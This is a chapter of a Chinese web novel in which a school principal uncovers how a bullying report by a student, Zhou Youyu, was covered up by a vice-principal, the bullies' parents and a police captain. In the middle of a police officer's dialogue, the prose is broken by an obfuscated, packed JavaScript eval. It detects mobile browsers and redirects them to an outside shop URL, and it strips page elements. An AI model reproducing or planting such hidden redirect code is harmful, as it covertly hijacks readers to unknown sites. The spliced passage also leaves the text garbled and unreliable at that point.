“容小姐，很遗憾，看来我们不是一路人”，他一字一句道，“今天我可以表个态，就算我这个校长不做了，我也要为我的学生讨回公道。” “当然，我也不会只听周佑雨几人的一面之词，我会多方调查，绝不冤枉一个学生，也绝不放过劝做错事的学生改过的机会，这是我身为教师的责任。” “我当老师，从来都不是为了某个职位，或者为了所谓的人际和谐。我就是希望，当学生遇到困难时我能帮他们一把，当学生走错路时我能将他们拉回来。” 146. 江湖夜雨 周四一早，程景逸在吕奶奶的归客把早饭吃完，顺便借走了吕正言。 吕奶奶以为程校长是要找吕正言谈心，便也没有多问，爽快放行。 到了办公室，程景逸给吕正言沏杯茶，让他坐下。 吕正言已经猜到程校长找他来想问什么，便主动说道：“程校长，您找我来是想了解周佑雨的事情吗？” 程景逸：“对。” 吕正言：“行，那我把知道的都告诉您……” 吕正言讲完以后，程景逸问道：“你还知道有其他知情人吗？” 吕正言点头：“有几个同学，应该也看见过。” 程景逸找出笔记本和笔，递给吕正言：“你把同学的名字和联系方式都写下来。” 吕正言一边写一边道：“有些同学我知道他们家里大概住在哪里，但是有些我也不知道。” “没关系，你就写你知道的。”程景逸从吕正言手里接过笔记本，他看着上面的几个名字，沉吟片刻，说道，“正言，你在办公室等我一会儿。如果无聊的话，可以看看书架上的书，我一会儿就回来。“ 说完，他便拿着这个笔记本到隔壁去找宋民，调出这几个同学以及杨瑾菲、朱吴毓、卢芒的档案。 宋民副校长很配合。 不过在程景逸拍照留存的时候，他问道：“景逸，这事儿你和张校说过没？” 程景逸专心拍照，没太在意，随口道：“还没呢，张校又不在学校。整件事还在调查，最后没定性之前就先不说了吧，免得他担心。” “昨天你来看张静思和周佑雨的档案。静静是张校的女儿，这我知道。周佑雨这个名字我总觉得有点熟悉，却没想起来在哪里见过。”宋民道，“直到昨晚我回家后，我才突然想起来，之前张校也来调过这个同学的档案。” “张校？”程景逸十分诧异，“什么时候？” “大概半年前吧，”宋民意味深长道，“今天你看的这几个人的档案中，有几人张校当时也看过。” 程景逸觉察出不对劲，问道：“张校当时看了哪几人的档案？” “我想想啊，”宋民点着电脑上的名字，“杨瑾菲、朱吴毓、卢芒，还有你昨天看的周佑雨，就这几个。” 程景逸不解：“半年前张校看这个做什么？” 宋民挑眉：“你不知道？哦，我想起来了，那会儿你刚好出差。怪不得……” 他不禁摇头叹气。 “怎么这么说？”程景逸，“宋哥，当时发生什么事了？” “当时周佑雨这个同学报警说杨瑾菲、朱吴毓、卢芒三个人霸凌她。因为景逸你不在，就是张校和董校负责的这个事。我以为他们后来和你汇报过了。” “完全没听他俩提起过。我也根本不知道这件事情。”程景逸皱眉，“那最后这件事是怎么处理的？” “从张校手里过，还能怎么处理。”宋民回忆道，“这也不是我管的，所以我没太注意，后来听老董提了一嘴，说是找不到霸凌的证据，而且还有同学作证说周佑雨平常就很奇怪，说她人品有问题、精神不正常，总之最后就定性为周佑雨自导自演。不过学生嘛，虽然做错事，但是我们还是要原谅、引导、教育。都是学生，又没闹出特别大的事故，就这样结束了。” 程景逸突然明白为什么昨天在派出所时，有个他不认识的警官经过众人，嘟囔了一句：“怎么正宁中学老出现这种事，最后又是不了了之，以后可不能让孩子上正宁……” 他当时没品出这句话的意思。 看来那位警官很明显知道些什么。 程景逸这样思索着，他回到自己的办公室，见吕正言乖巧地坐在沙发上。 他走过去，问道：“正言，你知道周佑雨以前因为校园霸凌的事报过警吗？” “我知道。”吕正言点头，“您说的应该是高一上学期末的那件事吧。这件事其实我一开始并不知道。我其实是高一下半学期才和周佑雨熟络起来的，有一次在巷子里看见杨瑾菲几人欺负周佑雨，我帮了她。后来才听周佑雨说起这件事。” 程景逸感觉这件事很奇怪：“报警这么大的事你们都没听到一点风声，警车来学校没看见吗？” “当时确实没听说。”吕正言，“佑雨说她当时是直接到派出所报的警，警察传唤了杨瑾菲几个当事人，然后张副校长就去了，最后大家就都被放了。大概是因为警车没到学校，所以大伙都不知道吧。” 程景逸疑惑：“那你刚刚怎么不提这件事？” 吕正言：“我以为您知道。” “可惜我之前并不知道。如果不是刚才宋校和我说，我们就漏掉了一条重大的线索。” “本以为这些年，我这个校长当得即便不是十全十美，但也算尽职尽责，可没想到，学校里竟然曾经发生过这种事情，而我却像眼瞎耳聋一样完全被蒙在鼓里，实在是太过失职……” 程景逸面色并不好看。 他十分自责。 但是这些情绪并不能帮助他解决问题。 事情纷繁复杂地摆在他面前，需要他一件一件地去解决。 “这件事并没有闹大，被捂得这么严实……”沉思片刻后，程景逸说道，“正言，这几天如果你有时间的话，我想让你陪我去找这几个同学了解情况，可以吗？” 吕正言点头：“没问题，我每天不是在家里就是在餐馆里，您有事儿打电话就行。” 送走吕正言，程景逸去了教室一趟。 站在窗外向内看去，今天周佑谷没有来。 现在同学们正在上戴思秀影后的书法课。 这节课她在教学生们写毛笔字。 杨瑾菲、朱吴毓、卢芒以及张静思，她们都在认真按照戴影后的要求练习。 张静思和杨瑾菲还因为字写得漂亮而得到戴影后的表扬。 几个女孩儿脸上都挂着笑意。 任谁看都觉得她们一定都是品学兼优的好孩子，是别的同学的好榜样。 程景逸面无表情地注视着这一切。 吴焕晗站在他旁边。 程景逸扭头，对她叮嘱道：“吴老师，我有事要处理，今天可能不在学校。学生的安全就交给你了，有事情及时给我打电话，或者找宋校。” 吴焕晗点头：“好，您放心。” 程景逸转身准备走，迈开步伐前，又低声问道：“怎么没看到……其他嘉宾老师？” 吴焕晗见程景逸一脸严肃，以为他有什么重要的事情要交待，没想到是问这个。 她道：“其他老师在楼下教研室备课或者在加油站做任务吧。” 程景逸本来准备从左边楼梯下楼，那里离停车场近一些。 听了这话，他装作去洗手间的模样，在洗手池洗了个手，然后从右边的楼梯走到一楼。 转过长长的回廊，经过贴着“韶光加油站”牌子的教室，里面有几位老师正在做任务挣积分。 程景逸的步伐放慢，目光缓缓扫过几人。 宁斯文影帝从工作人员手里接过一把长剑，他随手耍了个剑花，便开始舞剑。 旁边本来正在做高抬腿的辛才和白兴哲双双停下来，观赏宁影帝的剑舞。 加油站这间教室里响起一片叫好声。 程景逸扫视一圈，毫不犹豫地继续向前走。 韶光加油站旁边是韶光支教团的韶光教研室。 教研室里，欧声声拿着曲谱正在练歌。 其他人呢？ 程景逸满头雾水。 他继续往前走。 经过前面那个教室，就走到这条回廊的尽头，走下台阶便可离开教学楼。 他该去做正事了。 没想到最后一个教室中传来充满活力的音乐声。 程景逸向内望去，瞧见里面有人正在练舞。 他突然想起昨天吴焕晗给他汇报过，说是节目组想多要几间教室，以供支教团老师们备课。 这应该就是其中一间。 程景逸环顾一圈，发现这间教室被改成了练舞房。 桌椅被堆在教室的后方。 节目组不知从哪里运来一扇超大的可移动落地镜，放在教室的前面。 容清洛和高风正在排舞。 旁边有工作人员经过，程景逸问道：“你好，我记得两位老师教的不是同一个舞种，怎么在一起排舞？” 那名工作人员笑道：“程校长，为了增加节目的趣味性以及学生的积极性，昨天导演组经过商议后决定引入小考测试。容老师和高老师虽然教的是不一样的舞种，但是节目组想让他们合编一支舞，在进行教学后分别组织两队学生进行考试和比赛。傍晚老师们还会带着学生做活动，进行文队和武队之间的pk呢。” “原来如此。”程景逸没想到，就是昨天一下午不在学校而已，导演组就想出这么多花招。 他和那位工作人员道别，然后便驱车前往派出所，寻找昨天那位似乎知情的警官。 青山镇派出所里，通过程景逸的描述，阎滨推测：“程老师，您说的那位应该是史哥，史烨史警官。不过他今天出任务了，不在所里。” 程景逸：“他在哪里出任务，我去找他。另外，能给我一个他的联系方式吗？” 阎滨在手机上轻点几下，说道：“史哥和申承现在都在祥云茶厂。他的手机号我发到您手机上了。” “不过程老师，您找史哥有什么事呀？”阎滨好奇道。 程景逸：“你记得半年前我们学校有一个女生来你们这儿报案，说是遭受到校园霸凌吗？” 阎滨摇头：“没印象。不过我回头帮您问问。” “好，谢谢你小阎，我先走了。”程景逸匆匆忙忙离开青山镇派出所。 这位史警官的手机怎么也打不通，程景逸只得直接驱车前往茶厂。 祥云茶厂的位置颇为偏僻。 程景逸跟着导航七拐八拐终于找到地方。 远远地瞧见茶厂大门，他在附近找了个停车场停好车，才向那边走去。 茶厂里此刻却格外热闹。 许多工人汇聚在此，吵嚷声沸腾。 “孔经荣！你拖欠工资不还！” “孔经荣你还我们血汗钱！” “……” “史警官，你可要为我们做主呀。” 听到有工人喊“史警官”，程景逸耳朵微动。 他循声望过去，那位身着警服正在维持秩序的人不正是他要找的史警官吗？ 怪不得电话打不通，这场面那么乱，史警官哪有空闲接电话。 深知现在不是说话的好时机，程景逸便没有上前，而是在旁边默默观察。 来都来了，看看这里是什么情况。 程景逸记得，周佑雨的父亲周承就是这祥云茶厂的会计。 也不知，今天这事和祥云茶厂与飞鸿钢铁厂之间的恩怨有无关系？ 祥云茶厂的厂长孔经荣在茶厂的主楼前急得团团转。 很快，一个员工从楼里跑出，递给孔经荣一个手持扩音器。 孔经荣打开扩音器，对着台阶下激动的工人们喊道：“诸位，请先安静下来，听我一言。” 人群渐渐安静下来。 可是大家虎视眈眈的视线都汇聚在孔经荣身上，这让孔经荣不免心底发颤。 他深吸一口气，对着所有工人说道：“走到如今这一步，茶厂确实是支撑不下去了。我孔经荣在这里给大家道一句，对不起。” 他深深地冲着人群鞠了一躬。 台下有人道：“我们不要道歉，我们就要解决问题！” 其他人跟着喊道：“对！我们要解决问题！你还我们工资！” 孔经荣直起身，沉痛道：“大伙儿都知道，近些年咱们效益不行，本来运营就很艰难。结果飞鸿钢铁厂乱排污水，导致咱们厂下面几个茶园的土地都被污染，种出来的茶叶质量全不达标，这更令咱们厂的境况雪上加霜。” “可是飞鸿钢铁厂拒不承认！咱们不得已，毁林种茶，反而被飞鸿钢铁厂举报，罚款之后，茶厂确实是开不下去了。” “茶厂运营不善，和我个人能力不足有关，我认。”说到这里，孔经荣神色一狠，他大声道，“但是这绝对不至于把咱们厂搞倒闭。让咱们茶厂走到今天这个入不敷出地步的，是飞鸿钢铁厂。他们乱排污让我们原有的茶园都种不出好茶叶，逼得我们毁林种茶开辟新茶园，之后又对我们赶尽杀绝、恶意举报。让大伙儿拿不到工资，抢走大伙儿饭碗的不是我，是飞鸿钢铁厂！” 台下有人道：“这个亏不能就这么吃了，走，咱们大伙儿去飞鸿钢铁厂讨个说法！” 孔经荣冷笑道：“你们要闹就去闹，可别怪我没提醒你们，飞鸿钢铁厂的人都狠得很，咱们厂的周会计就因为想替大家讨说法，上周已经被打了，现在都还在医院生死未卜。大家伙儿还是早点回去寻找新出路吧。要是这厂子能卖出去，我会把拖欠的工资还给大家。” 说完，孔经荣就上楼了，留下几个心腹员工堵在主楼门口，不让其他工人上楼。 在警察们的劝解下，工人们渐渐都离开。 程景逸围观了全程，心里却生出一个极大的疑问。 这位孔厂长口中被打的周会计指的是周佑雨的父亲周承吗？ 听周佑谷她们说，这件事目前是保密状态，这位孔厂长是如何知道的呢？ 程景逸本想找个机会去问问孔厂长，但是茶厂主楼的大门现在被孔厂长的人守着，根本上不去。 而且他还没有忘记今天来这里的主要任务。 此时，警察们准备离开。 程景逸快步走向史烨。 倒是申承先看见他，过来和他打招呼：“程老师，您怎么在这儿？” 程景逸顿了顿，先问了他一个和阎滨同样的问题：“小申，你记得半年前我们学校有一个女生来你们这儿报案，说是遭受到校园霸凌吗？” 申承一愣，他回忆半晌，摇头道：“没有，涉及到正宁中学的案件，我知道的只有昨天下午这一件。” “了解了。”程景逸点头，接着他道，“我来是找史烨史警官的。” 申承连忙出声叫住准备上车的史烨：“史哥，来，有人找。” 史烨对程景逸有点印象：“你是正宁中学的校长，你叫……” 程景逸伸出手，温文尔雅道：“程景逸。” 史烨伸手回握，问道：“程大校长，找我什么事儿？” 程景逸颔首：“想问下您半年前我们学校发生的校园霸凌案，您有空吗？” 史烨对着愣在一旁的申承道：“小申，你和他们先回警局，我晚点儿回去。” 申承点头：“是。” 说完，他担忧地看了程景逸一眼，然后一路小跑上车。 警车很快开走。 史烨：“这儿不适合说话，我们出去，边走边聊？” 两人走出茶厂，沿着乡间的道路走着。 史烨从怀里掏出一盒烟，抽出一根叼在嘴里，将烟盒往程景逸面前送了送。 程景逸摇头：“我不抽烟。” “好习惯，你肯定是一个好爸爸。”史烨点头，他收起烟盒，拿出打火机将烟点上，“我女儿不喜欢我抽烟，所以我每次只能下班后在路上抽一根，把味道散尽了再回家。” “我女儿现在上小学，你呢？”史烨问道。 程景逸：“我还没结婚。” “你虽然看着年轻，但是如果当校长的话，年纪应该不小吧。”史烨颇为惊诧，“程校长，你三十几岁了？” 这话题怎么偏到这个方向了？ 程景逸顿感无奈，但是还是好脾气道：“我今年整三十。” “年轻有为呀，”史烨兴致颇高，“那你总该结婚了吧？” 程景逸：“还没有。” “为什么不结婚？”史烨猜测道，“难道是和女朋友异地恋？” “没有对象怎么结婚，”程景逸笑笑，“我单身。” “真意外。”史烨神秘兮兮地凑近程景逸，低声道，“冒昧问一句，你性取向正常吗？” “正常。”程景逸哭笑不得。 瞧着史烨的神情，程景逸解释道：“我……目前没有结婚和谈恋爱的想法，主要专心事业。” 史烨拍拍程景逸的肩膀，安慰道：“也对，男人四十一枝花，你还有十年，现在仍然是含苞待放的花骨朵，娇嫩鲜艳。” 程景逸：“……” 史烨又道：“虽然你目前没结婚也没对象，但是未来如果你有女儿的话，你肯定也不希望孩子在学校受到欺负却求助无门吧。” 程景逸停下脚步。 原来对面这位绕了一大圈在这儿等着。 一江碧水蜿蜒流淌于青山镇的许多角落，哺育着这片土地上的人们。 两人站在江边，俯瞰滔滔而过的流水。 程景逸直视着史烨的眼睛，郑重道：“史警官，您知道些什么都可以告诉我，之前是因为我不知道这些事情。如果你告诉我真相，作为正宁中学的校长，我会还所有人一个公道。” 史烨把熄灭的烟头扔进路边的垃圾箱，回忆道：“今年年初，有一天傍晚，同事都下班了，恰好是我值班，警局突然闯进来一个丫头，穿着你们学校的校服，大冬天的，浑身湿漉漉，像是被水从头淋到脚的模样。你能想象吗，她走进来时衣服和头发都还在滴水，地上一串水印。” 史烨的声音带着种苍凉感，他娓娓道来，将程景逸仿佛也拉到了那一天。 *** 周五傍晚，正宁中学高一七班教室。 下周就要期末考试，许多同学都把一些资料拿回家，准备利用双休日好好再复习一下。 周五最后一节课是自习课，周佑雨专注地在做数学卷子。 其中有一道大题格外难，她演算了好几张草稿纸才解出来。 等她终于将题目完成后，一抬头，发现教室里已经空空如也。 竟然已经放学这么久了吗？ 她刚刚一定是进入了书上所说的心流状态，这才没注意到环境的变化。 不知想起什么，周佑雨眼里一瞬间闪过慌乱。 她匆匆忙忙地将纸笔和卷子、资料塞进书包，迅速将桌面整理干净，就准备赶紧回家。 毕竟，没人的时候最容易出意外。 但可能是因为在座位上待了太久，她突然很想上厕所。 周佑雨本来想忍着回家再上厕所，但是她实在是有点忍不住，只好飞快地奔向楼层一侧的卫生间。 老天爷，行行好，千万别碰见那些人呀。 我今天就想安全回家，好好复习。 周佑雨一边在心里祈祷，一边走近女卫生间。 还好还好，没有人。 周佑雨极快地上完厕所。 可是当她洗完手推开卫生间大门的那一刻，有几个女生正好从外面往里走。 两边撞在一起。 周佑雨见来人正是杨瑾菲、卢芒、朱吴毓，心里暗叹一句流年不利。 “没长眼睛呐！”杨瑾菲骂道。 三人气势汹汹地往卫生间里面走，逼得周佑雨一步步后退。 “哟，我当是谁这么没眼色呢，原来是你。”卢芒冷笑，“周佑雨，怎么，今天舍得在学校多待一会儿了？前段时间不是天天一放学就找不到你人影儿吗？” 废话，我放学不跑得快一些，难道等着被你们堵吗？ 周佑雨在心里哀叹。 都怪那张数学卷子的大题，她一不小心做题做上头了，这才没听到放学铃声。 面对咄咄逼人的杨瑾菲三人，周佑雨没说话，她莹莹双目顾盼神飞，瞅准机会就要溜之大吉。 可惜的是，作为一名娇柔可爱的少女，周佑雨的力气委实不够大。 她还没冲到卫生间门口，就被朱吴毓一把拽了回来。 杨瑾菲使了一个眼色，卢芒和朱吴毓会意。 朱吴毓熟练地把周佑雨推倒在地上，准备扇巴掌时，杨瑾菲提醒道：“别打脸啊，被人看见了不好说。” “小意思，看我的。”卢芒挑眉，她拿起卫生间角落里的水桶，接了满满一桶水，哗啦一声，将水桶里的水一下子全部泼在周佑雨身上。 周佑雨避之不及，生生在天寒地冻的冬季里受了这冰水的泼洒。 三人的游戏仍在继续。 杨瑾菲拿出一根烟抽着，在幽幽的烟雾中，她突然冷笑一声。 周佑雨听到这声突兀的笑，不由得瑟缩得更厉害。 她知道，这是杨瑾菲又想出了什么折磨她的方法。 只见杨瑾菲走到卫生间角落透拖把的水池，那里的水龙头上接着长长的软管。 她拿起软管，将管口对准周佑雨。 朱吴毓和卢芒见状，连忙让开，将周佑雨完全暴露在管口的射程中。 二人都拍手大笑：“好！还是瑾菲聪明，这样省事多了。” 杨瑾菲打开水龙头。 水声哗哗，水柱带着冲劲儿打在周佑雨的身上。 周佑雨在卫生间的空地中四处乱窜，躲闪着无处不在的水柱。 但杨瑾菲只需要轻轻抬手改变方向，就能将水管对准她。 周佑雨在水幕中冲向卫生间门口。 但是朱吴毓堵在门口，身形稳稳地站在那里。 卢芒还将卫生间门从内锁上。 两人的目光充满轻蔑和冷漠，盯着周佑雨的眼神就仿佛看着在泥泞里挣扎的蚂蚁一般。 “跑呀，怎么不跑了？”杨瑾菲的面容隐隐带着疯狂，“最讨厌你这种人了。” 后来，可能是累了，杨瑾菲将水龙头关上，把水管扔回水池。 三人头也不回的离开卫生间。 走之前卢芒还嘟囔道：“真是晦气，本来是来这儿抽烟的，结果看到这小贱人就没心情了。” 杨瑾菲揽住二人：“走，姐请你们喝奶茶。” 周佑雨拖着被水从头淋到脚的躯体，缓缓从地上爬起。 她瞧着那三人的背影良久。 走到卫生间的镜子前，看着镜子里憔悴的自己，周佑雨分不清自己脸上流淌着的，究竟是未干的自来水，还是屈辱的眼泪。 她就这样走回教室，拿起自己的书包，然后直奔警局。 冬季的夜晚来得格外早，暮色的暗影是她的保护色。 路人们都在寒风中低头赶路，没人注意到她的异样。 或者说，也许有人注意到了，但是却选择无视陌生人的狼狈。 周佑雨走进青山镇派出所，没走几步，她就发现派出所大厅光洁的地板被她踩出一连串的水印，顿时有些不知所措。 她不是故意的。 史烨就是在这样的情境下看见周佑雨的。 “呀！小姑娘，这是怎么回事？”他连忙回办公室找到一条毛毯拿出来给周佑雨裹上，“来，赶紧擦擦，天这么冷，风一吹回头该感冒了。” 周佑雨跟着这位警官走进一间办公室：“谢谢警察叔叔，您怎么称呼？” 史烨一边把空调打开，调高温度，一边道：“我姓史，历史的史，你叫我史警官就行。” 他让周佑雨坐下，给她倒了一杯热水：“拿着暖暖手。” 等周佑雨的脸色稍微好一些，不再像刚进警局那会儿被冻得煞白时，史烨用尽量温和的语气问道：“孩子，你叫什么名字？能告诉我，你遇到什么事情了吗？” 周佑雨沉默了片刻。 史烨看着这姑娘的眼神一点点从脆弱变得坚定，只听她说道：“您好，我叫周佑雨，是正宁中学高一七班的学生，目前在正宁中学读书快一个学期了。我今天来，是想报警。我们班的杨瑾菲、卢芒、朱吴毓三个人，从高一开学到现在，陆陆续续对我进行霸凌，我每次反抗只会换得她们下一次的变本加厉。今天她们竟然在学校里就敢下手，我现在的样子就是她们的杰作。” 史烨：“她们都做了什么？” 周佑雨哽咽道：“今天傍晚的时候，我去卫生间上厕所，出来时恰好碰到她们三人准备进来。我前段时间躲了她们一段时间，今天是她们第一次逮到我，她们就堵住我，先是把我打趴在地上，不断地用水桶接水泼我，后来为了省事直接拿卫生间里的软管对着我喷水。我想要逃走，但是她们把我堵在学校的卫生间里……” 史烨皱起眉头：“这种类似的霸凌行为持续多长时间了？” 周佑雨：“从开学到现在，有大概四五个月了。” 史烨：“她们为什么针对你？” “实际上这也是我百思不得其解的。我不知道她们为什么盯上了我。”周佑雨，“我也无法预测她们攻击的频率。她们心情好的时候就会对我视而不见，放过我。但是她们稍微有一点不顺心，就会把气撒在我头上。一般来说，她们不会在学校里动手，而是会把我带到校外的小巷里。而且她们的劲儿都很大，我逃脱不开。” 史烨：“这么长的时间里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586988|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你有把受到霸凌的事情告诉过父母或者老师吗？” 周佑雨摇头：“今天……是我第一次说出来。” 史烨：“为什么？” 周佑雨低下头：“我在班里很不起眼，老师们对我关注很少，好像都更喜欢她们。” 史烨：“所以你认为即便你告诉老师，老师也不会管？” 周佑雨幅度很小地缓慢点头。 史烨循循善诱道：“丫头，其实在你第一次遇到这种事的时候就应该立马向身边的大人求助，即便你不信任学校的老师，你也应该告诉你的父母，或者当时就选择直接来警局报警。” 周佑雨将头压得很低。 史烨只能听见女孩儿沙哑的声音从嗓子眼里冒出来，她说道：“史警官，我父母……离婚了，我跟着我爸。但是我爸这半年工作很不顺心，他们厂快倒闭了……我爸一个人养我已经很艰难了，我不想让他担心，所以才一直忍着没说……” 女孩低着头，可史烨分明能瞧见有大滴的泪水从女孩儿面前滴下。 啪嗒，啪嗒。 那泪滴仿佛没有打在地上，而是打在史烨的心里。 谁家的闺女不是被父母如宝似珠地捧在手心里疼爱和保护着啊，更何况是这么漂亮可人的女儿。 这丫头的模样俊俏甜美，举止娇柔可爱，可是心性竟如此要强。 不容易啊。 史烨眼里流露出一丝怜惜和不忍，他默默为周佑雨的水杯里添上热水：“喝口水缓一缓。” “谢谢。” 周佑雨继续说道：“我其实本来不太敢把这些经历讲出来。好像如果我把这些事情说出来，就代表着我是不合群的那一个。不然为什么她们不欺负别人，就光欺负我呢？” “我常常在想，我是不是很讨人厌，我是不是做错了什么，不然为什么会有一些人在同时针对着我？所以我从来没有告诉过其他人这件事。” “可是我刚刚实在是太冷了。”她将手搭在胳膊上，湿透了的衣服在温暖的房间中依旧冰凉，“我的衣服全都湿了。有那么一刻，我感觉冰水仿佛顺着这沉甸甸的衣服透过肌肤的缝隙流进了我的四肢百骸。” “我害怕有一天，我会就这样毫无存在感地死在青山镇某个冰天雪地的角落里，就这样无声无息，无人在意。所以我才生出了来警局报警的念头。” “实际上，我从学校走到警局的这一路上，我整个人都是麻木的。直到坐进这间暖融融的房间，我才渐渐有了知觉。” 周佑雨鼓足勇气将自己的心路历程都说了出来。 她抬起头，望向警察叔叔：“史警官，您会帮我吗？” 史烨：“你放心，我们会帮你的。” 史烨和当时其他还在值班的警员一起，立马对周佑雨提到的杨瑾菲、卢芒、朱吴毓三人进行了传唤。 但是在录笔录的时候，她们对于霸凌周佑雨的事情矢口否认。 史烨和同事又去调学校的监控，可是摄像头只能覆盖到卫生间外部。 从画面上来看，周佑雨先走进卫生间，没过多久杨瑾菲三人也走进卫生间，大概过了二十钟左右，杨瑾菲三人从卫生间里走出，又过了八九分钟，周佑雨浑身湿漉漉的走出卫生间。 卫生间内部发生的事情无法得到确认。 也就是说，并没有直接证据能够证明周佑雨所说的话是真的。 调查陷入僵局。 史烨本想问问周佑雨上一次被霸凌是在什么时间和什么地点，如果是在街道上，也许会有摄像头拍摄记录下来。 这时，又有人走进警局。 来人正是张世，他衣装革履，对着史烨自我介绍道：“警官您好，我是正宁中学负责政教处的副校长，我叫张世，您贵姓？” 没人传唤他吧？ “免贵姓史，”史烨有些丈二和尚摸不着头脑，问道，“张校长您好，您这是？” “史警官，您看这事儿闹的，”张世抱歉道，“真是不好意思，由于我们学校管理的疏忽，闹出这么大一个误会，给各位警官添麻烦了。” 史烨：“没事儿，校园霸凌其实是很多学校都存在的问题……” “不是的，史警官，您可能对整件事情有一些误会。”张世解释道，“事情是这样的，今天傍晚的时候，我校高一教学楼三楼左侧女卫生间的水管突然爆掉，一直在喷水。但是由于当时距离放学已经有一段时间了，学生基本都已经离校，所以没有及时发现这个问题。后来是保安巡视的时候才发现水一直在喷涌。我已经联系人员去维修了，并且也已经把相关的保洁辞退。” 讲到这里，张世抬手轻轻往周佑雨的方向指了指，他说道：“这位同学全身被淋湿应该是因为水管爆掉的缘故，可能和其他几位同学并没有关系。” “而且，虽然她是我们学校的学生，但是我们也不会包庇她。其实我刚刚也有多方了解，和任课老师以及她的同班同学都聊过，我了解到的是这个同学在人品方面可能还有待商榷，所以她来报案所说的话语其实都要存疑的。” 张世又走到周佑雨面前，他神情严肃，问道：“你觉得你是受害者？” 周佑雨：“难道不是吗？” 张世轻蔑笑道：“孩子，你还小，不太了解法律知识。” 在周佑雨困惑的目光中，张世冷冷道：“我国民事诉讼法第六十四条规定，当事人对自己提出的主张，有责任提供证据。” “你连证据都拿不出来，还主张什么你是受害者？造谣者还差不多。这么小就满口谎话。看在你是我校学生的份儿上，奉劝你一句：人品不好，路走不远的。” 就在此时，又有人走进警局，而且还不是一个人，而是一群叽叽喳喳的妇女。 “哎哟警官，大冷天的，为什么要传唤我家孩子呀。” “这都快期末考试了，我家孩子莫名其妙被你们派出所传唤过来……警察了不起呀，警察就可以随便传唤人了吗？我家孩子犯什么错了？你拿出证据呀！” “警官，高中学习压力大，我家孩子可乖了，天天认真学习，她绝对不会做这些事的，都是别人嫉妒她学习好，所以才污蔑她。您可别被蒙蔽了。” “警官，下周就是孩子的期末考试，这么僵持下去，孩子都没时间复习功课了。我家孩子可一直都是年级前十名，这回她的成绩排名要是倒退了，我可要来投诉你们啊……” “……” 老实说，对于这个场面，史烨是始料未及的。 他一个人高马大的汉子，面对这些女人七嘴八舌的围攻，瞬间都结巴了：“这……” 史烨实在是没想到，这些女人一个个看起来都穿得挺体面的，金银珠宝的首饰也都戴着，怎么行为做派这么像没受过教育、不讲理的撒泼妇人。 就在这时，一阵手机铃声解救了史烨。 他连忙对众人说：“抱歉，我们队长电话。请诸位稍安勿躁，我们会调查清楚，然后给大家一个交代的。” 史烨逃也似的换了个安静的地方接起电话：“龚队。” “小史呀，”龚平闲适悠然的声音从电话那头传出，“在值班呢？” 史烨恭敬答道：“是。” 龚平笑道：“碰到麻烦了吧。” 史烨：“可真是什么事都逃不过您的法眼。” 龚平：“这件事你不要想太多。这就是一场意外，一切都是那个报案的学生自导自演的一出戏。” 史烨：“什么？” 龚平：“听说这个学生成绩一般、家境也一般。这样的学生肯定对那些成绩好、家境好的学生有不满和嫉妒。” “而且据说这个学生平常独来独往的，也不交什么朋友。” “说不定她精神有什么问题，她所说的一切都是她的幻想呢。” 史烨连忙道：“龚队，我和这个女孩交流过，她很正常，不像是有精神问题的人……” 还没待史烨说出个所以然来，龚平有点不耐烦的声音传来：“又没闹出人命，这件事就这样算了吧。” 说罢，他就将电话挂断。 史烨从黑屏的手机屏幕中看见自己茫然的神情。 目前确实也没找到什么有力的证据。 *** 夏蝉凄鸣，仿佛有人在呜咽哭泣。 在良久的沉默中，程景逸问道：“后来呢？” 其实根据现在的情况，他已经猜到结局，但是他还是想问上一问，亲口听到答案。 “没有后来。”史烨面带愧色，“这件事就这样不了了之了。除了当时在场的几人，没有其他人知道。” 程景逸：“那您今天为什么要告诉我？” 史烨：“我觉得你和你们学校那个张世不一样。” 他好笑道：“其实我也是后来才打听到的，原来这个张世是潘厂长的妹夫。他还真是个能人，真想象不到他请自己老婆去求昔日恋人帮忙时是什么心情。” 笑了两声，史烨又摇头感慨：“也许这样的人才能成事吧。那三个学生的家长在镇上也都有头有脸，因着这件事对张世估计感恩戴德着呢。” “是吗？”程景逸不甚在意史烨对张副校长这似夸奖非夸奖的话。 他琢磨道：“先是张校来解释事情原委，然后三位学生的女性亲友来催促和闹场，接着你们龚队打电话来施压，一系列操作紧锣密鼓，然后这些学生就这样被放了。” 程景逸不由得鼓起掌来：“虽然不算特别高明的手段，但是不得不说，很有效果。” 史烨无地自容道：“不管怎么说，我确实辜负了那个小姑娘对我的信任……但是，当时我也没有其他选择。” 程景逸将手搭在史烨肩上：“您对周佑雨这个学生有愧，对吗？” 史烨：“是。” 程景逸微笑：“现在有一个机会，您可以弥补这份愧疚，帮助到她，您愿意吗？” *** 和史烨聊过之后，程景逸回到学校。 史烨和学校里的老师学生其实都没什么利害关系，他所说的话可信度不低。 但是程景逸思来想去，还是觉得应该给自己的学生们一个辩解的机会。 尽管如果周佑雨这方所说的真相为真，那么他这样做，必定会打草惊蛇，甚至将自己置于不利的境地。 毕竟，张校等人都不是善茬。 程景逸为自己沏了一杯茶，坐在座椅上闭目沉思。 人类世界不是丛林。 曾经，从人类社会中，长出了文明的萌芽，诞生出文化的胚胎。 所以程景逸始终相信，在人类世界的规则当中，信奉弱肉强食、适者生存这样的丛林法则，绝不是大道。 文明和文化所存在的意义，就是教化众生。 那么，无论如何，他作为一个教师，首先该做的，不是给任何一个学生定罪。 他所应该做的，是站在每一个学生的角度，去理解学生。 理解每个人的心态和心理。 理解使这个人之所以成为这个人的环境。 然后，给予学生力量，帮助学生战胜困难。 或者将他们从歧路中拉回正道。 在《青衿与长衫》这档综艺于他们学校录制之前，他曾经专门到市里拜访过韩老师。 韩老师当时问他，他以前走上教师这条路，是因为一个人，而现在呢，他为什么仍然坚守在教师这条道路上？ 程景逸记得，自己当时是这么回答的。 「因为我找到了当老师的意义。」 「当老师对我而言，不再只是为了完成她的梦想，更成为了我生命的价值所在。」 「也许很多人不需要，但是总有那么几个人恰好需要。」 「有些学生不需要，说明这个学生很幸运。」 「可是幸运的人总是少数。」 